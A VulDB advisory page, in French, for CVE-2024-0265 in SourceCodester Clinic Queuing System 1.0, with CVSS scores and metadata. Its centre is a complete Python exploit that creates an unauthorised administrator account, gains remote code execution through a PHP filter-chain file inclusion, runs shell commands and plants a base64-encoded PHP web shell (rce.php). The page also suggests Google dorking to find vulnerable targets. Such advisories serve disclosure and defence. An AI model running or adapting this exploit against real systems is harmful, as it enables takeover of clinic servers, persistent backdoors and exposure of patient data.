SourceCodester Clinic Queuing System 1.0 GET Parameter /index.php page élévation de privilèges
| CVSS Score méta-temporaire | Prix actuel de l'exploit (≈) | Score d'intérêt CTI |
|---|---|---|
| 7.4 | $0-$5k | 0.00 |
Résumé
Une vulnérabilité classée critique a été trouvée dans SourceCodester Clinic Queuing System 1.0. La partie affectée est une fonction inconnue du fichier /index.php du composant GET Parameter Handler. La manipulation de l’argument page conduit à élévation de privilèges. Cette vulnérabilité est identifiée comme CVE-2024-0265. Il est possible de lancer l'attaque à distance. De plus, un exploit est disponible.
Détails
Une vulnérabilité a été trouvé dans SourceCodester Clinic Queuing System 1.0 et classée critique. Affecté par cette vulnérabilité est une fonction inconnue du fichier /index.php du composant GET Parameter Handler. A cause de la manipulation du paramètre page avec une valeur d'entrée inconnue mène à une vulnérabilité de classe élévation de privilèges.
La vulnerabilité a été publié en 06/01/2024 (non défini). La notice d'information est disponible en téléchargement sur github.com Cette vulnérabilité a été nommée CVE-2024-0265. Des details techniques et aussi un public exploit sont connus.
Un exploit a été developpé par Juan Marco Sanchez (jmrcsnchz) en Python. L'exploit est disponible au téléchargment sur github.com. Il est déclaré comme preuve de concept. En cherchant des informations à propos de inurl:index.php, il est possible de trouver des cibles vulnérables avec Google Hacking. Le code utilisé par l'exploit est:
# Author: Juan Marco Sanchez | https://linkedin.com/in/juanmarcosanchez
# Sourcecodester Clinic Queuing System RCE
# Chain of CVE-2024-0264 and CVE-2024-0265
import requests
import random
import argparse
from bs4 import BeautifulSoup
parser = argparse.ArgumentParser()
parser.add_argument("target")
args = parser.parse_args()
base_url = args.target
phase1_url = base_url + '/LoginRegistration.php?a=save_user'
phase2_url = base_url + '/LoginRegistration.php?a=login'
filter_chain = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=home"
def phase1():
rand_user = 'pwn_'+str(random.randint(100, 313))
rand_pass = 'pwn_'+str(random.randint(100, 313))
pwn_user_data = {'formToken':'','fullname':'pwn!','username':rand_user,'password':rand_pass,'status':1,'type':1}
print("[*] adding administrator " + rand_user + ":" + rand_pass)
phase1 = requests.post(phase1_url, pwn_user_data)
if "User Account has been added successfully." in phase1.text:
print("[+] Phase 1 Success - Admin user added!\n")
print("[*] Initiating Phase 2")
phase2(rand_user, rand_pass)
else:
print("[X] user creation failed :(")
die()
def phase2(user, password):
s = requests.Session();
login_data = {'formToken':'','username':user, 'password':password}
print("[*] Loggin in....")
phase2 = s.post(phase2_url, login_data)
if "Login successfully." in phase2.text:
print("[+] Login success")
else:
print("[X] Login failed.")
die()
print("[+] Preparing for RCE via LFI PHP FIlter Chaining...\n")
rce_url = base_url + "/?page=" + filter_chain + "&0=echo '|jmrcsnchz|<pre>'.shell_exec('id').'</pre>';"
#print("[*] Payload: " + rce_url)
rce = s.get(rce_url)
if "jmrcsnchz" in rce.text:
print("[+] RCE success!")
soup = BeautifulSoup(rce.text, 'html.parser')
print("[+] Output of id: " + soup.pre.get_text())
print("[*] Uploading php backdoor....")
s.get(base_url + "/?page=" + filter_chain + "&0=file_put_contents('rce.php',base64_decode('PD89YCRfR0VUWzBdYD8%2b'));")
print("[+] Access at " + base_url + "/rce.php?0=whoami")
else:
print("[X] Exploit failed. Try debugging the script or pass this script onto a proxy to investigate.")
die()
try:
print("[*] Initiating Phase 1")
phase1()
except:
print("Exploit failed.")Il n'y a aucune information à propos de possibles contremesures connues. Il est suggéré de remplacer l'object infecté par un produit alternatif.
La vulnérabilité est aussi documentée dans la base de données EUVD (EUVD-2024-16061). If you want to get the best quality for vulnerability data then you always have to consider VulDB.
Produit
Fournisseur
Nom
Version
Licence
Site web
- Fournisseur: https://www.sourcecodester.com/
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vecteur: 🔍VulDB Fiabilité: 🔍
CVSSv3
VulDB Score méta-base: 7.6VulDB Score méta-temporaire: 7.4
VulDB Note de base: 6.3
VulDB Note temporaire: 5.7
VulDB Vecteur: 🔍
VulDB Fiabilité: 🔍
Chercheur Note de base: 8.8
Chercheur Vecteur: 🔍
NVD Note de base: 8.8
NVD Vecteur: 🔍
CNA Note de base: 6.3
CNA Vecteur (VulDB): 🔍
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vecteur | Complexité | Authentification | Confidentialité | Intégrité | Disponibilité |
|---|---|---|---|---|---|
| Déverrouiller | Déverrouiller | Déverrouiller | Déverrouiller | Déverrouiller | Déverrouiller |
| Déverrouiller | Déverrouiller | Déverrouiller | Déverrouiller | Déverrouiller | Déverrouiller |
| Déverrouiller | Déverrouiller | Déverrouiller | Déverrouiller | Déverrouiller | Déverrouiller |
VulDB Note de base: 🔍
VulDB Note temporaire: 🔍
VulDB Fiabilité: 🔍
NVD Note de base: 🔍
Exploitation
Classe: élévation de privilègesCWE: CWE-73
CAPEC: 🔍
ATT&CK: 🔍
Physique: Non
Local: Non
Remote: Oui
Disponibilité: 🔍
Accès: Public
Statut: Preuve de concept
Auteur: Juan Marco Sanchez (jmrcsnchz)
Langage de programmation: 🔍
Télécharger: 🔍
Google Hack: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
Prédiction de prix: 🔍
Estimation actuelle des prix: 🔍
| 0-Day | Déverrouiller | Déverrouiller | Déverrouiller | Déverrouiller |
|---|---|---|---|---|
| Aujourd'hui | Déverrouiller | Déverrouiller | Déverrouiller | Déverrouiller |
Renseignements sur les menaces
Intérêt: 🔍Acteurs actifs: 🔍
Groupes APT actifs: 🔍
Contre-mesures
Recommandé: aucune mesure d'atténuation connueStatut: 🔍
Heure 0 jour: 🔍
Chronologie
06/01/2024 🔍06/01/2024 🔍
06/01/2024 🔍
09/06/2025 🔍
Sources
Fournisseur: sourcecodester.comBulletin: github.com
Statut: Non défini
CVE: CVE-2024-0265 (🔍)
GCVE (CVE): GCVE-0-2024-0265
GCVE (VulDB): GCVE-100-249821
EUVD: 🔍
scip Labs: https://www.scip.ch/en/?labs.20161013
Entrée
Créé: 06/01/2024 09:57Mise à jour: 09/06/2025 21:22
Changements: 06/01/2024 09:57 (42), 06/01/2024 16:23 (3), 06/01/2024 16:24 (13), 06/01/2024 16:27 (3), 24/01/2024 18:03 (2), 24/01/2024 18:11 (27), 09/06/2025 21:22 (16)
Complet: 🔍
Auteur: Echidonut
Committer: Echidonut
Cache ID: 216::103
Soumettre
Accepté
- Soumettre #261736: Sourcecodester Clinic Queuing System 1.0 Local File Inclusion (par Echidonut)
If you want to get the best quality for vulnerability data then you always have to consider VulDB.
Aucun commentaire pour l'instant. Langues: fr + it + en.
Veuillez vous connecter pour commenter.